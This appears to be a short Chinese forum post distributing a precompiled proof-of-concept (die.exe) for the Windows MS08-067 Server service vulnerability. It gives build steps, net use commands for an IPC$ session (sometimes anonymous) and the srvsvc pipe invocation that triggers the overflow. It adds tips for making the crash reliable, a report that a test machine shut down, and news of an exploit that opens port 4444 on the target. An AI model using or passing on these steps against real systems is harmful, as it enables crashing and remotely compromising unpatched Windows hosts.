MS08-067漏洞的 攻击验证程序，已编译好

In vstudio command prompt:

  mk.bat

next:

  attach debugger to services.exe (2k) or the relevant svchost (xp/2k3/...)

  net use \\IPADDRESS\IPC$ /user:user creds
  die \\IPADDRESS \pipe\srvsvc

  In some cases, /user:"" "", will suffice (i.e., anonymous connection)

You should get EIP -> 00 78 00 78, a stack overflow (like a guard page
violation), access violation, etc.  However, in some cases, you will get
nothing.

This is because it depends on the state of the stack prior to the "overflow".
You need a slash on the stack prior to the input buffer.

So play around a bit, you'll get it working reliably...


.abu.点评：
已经编译好MS08-067的POC代码die.exe，大家可以搭环境测试一下。
最新测试结果：飞鸟帮助测试2000环境，攻击后直接出现60秒关机。

10月27最新发布攻击exp：MS08-067 最新利用工具 直接溢出后开启对方4444端口